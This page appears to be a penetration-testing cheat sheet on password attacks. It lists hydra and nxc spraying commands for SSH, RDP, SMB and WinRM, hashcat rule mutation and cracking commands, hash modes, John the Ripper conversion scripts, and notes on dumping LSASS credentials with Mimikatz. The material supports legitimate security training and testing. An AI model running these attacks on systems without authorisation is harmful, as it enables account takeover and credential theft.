Skip to main content

Password Attacks

Password Spraying

ScenarioCommand
SSHhydra -L users.txt -p $PASSWORD ssh://$TARGET
RDPhydra -L users.txt -p $PASSWORD rdp://$TARGET
SMBnxc smb $TARGET -u users.txt -p $PASSWORD --no-bruteforce
WinRMnxc winrm $TARGET -u users.txt -p $PASSWORD --no-bruteforce

Reference: https://www.hackthebox.com/files/cheatsheet-using-crackmapexec.pdf


Mutating Wordlists (Hashcat Rules)

When the target has a password policy (e.g., uppercase, special character, number), mutate your wordlist to match.

Rule Syntax

FunctionDescriptionExample
$XAppend character X$1 appends "1"
^XPrepend character X^3 prepends "3"
cCapitalize first letter

Applying Rules

Preview the mutations without cracking:

hashcat -r demo.rule --stdout wordlist.txt

Same line = consecutive rules on one password. Separate lines = separate mutations (multiplies the wordlist):

# demo1.rule (both applied to each password)
$1 c
# Result: Password1, Iloveyou1, Princess1

# demo2.rule (each applied separately)
$1
c
# Result: password1, Password, iloveyou1, Iloveyou...

Example: Meeting a Password Policy

For a policy requiring uppercase + special char + number:

$1 c $!
$2 c $!
$1 $2 $3 c $!

Cracking with Rules

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r rules.rule --force

Built-in Hashcat Rules

Located in /usr/share/hashcat/rules/:

  • best64.rule — most commonly effective
  • rockyou-30000.rule — comprehensive
  • d3ad0ne.rule — large rule set

Cracking Methodology

  1. Extract hashes from the target
  2. Identify hash type using hash-identifier or hashid
  3. Format hashes for your cracking tool (use john's *2john scripts if needed)
  4. Calculate cracking time to choose the right approach
  5. Attack the hash
warning

hash-identifier can't always distinguish between MD2, MD4, and MD5. Double-check with other tools and context about where the hash came from.

Common Hash Types

SourceHashcat ModeTool
NTLM-m 1000hashcat
NetNTLMv2-m 5600hashcat
Kerberoast (TGS)-m 13100hashcat
AS-REP-m 18200hashcat
SHA-512 (Linux)--format=sha512cryptjohn

JtR Format Conversion Scripts

The John the Ripper suite includes transformation scripts for various file formats:

  • ssh2john — SSH private keys
  • keepass2john — KeePass databases
  • zip2john — ZIP files

These scripts can also format hashes for Hashcat.


Hydra

SSH brute force:

hydra -t 1 -l $USER -P /usr/share/wordlists/rockyou.txt -s 22 ssh://$TARGET

Windows Stored Credentials

LSASS caches NTLM hashes and other credentials. It runs as SYSTEM, so you need Administrator or higher privileges plus SeDebugPrivilege to extract credentials.

You can elevate to SYSTEM using PsExec or Mimikatz's token elevation function (requires SeImpersonatePrivilege, which all local admins have by default).

Credentials are stored when:

  • Users log on interactively
  • Services run with user accounts
  • Scheduled tasks use stored credentials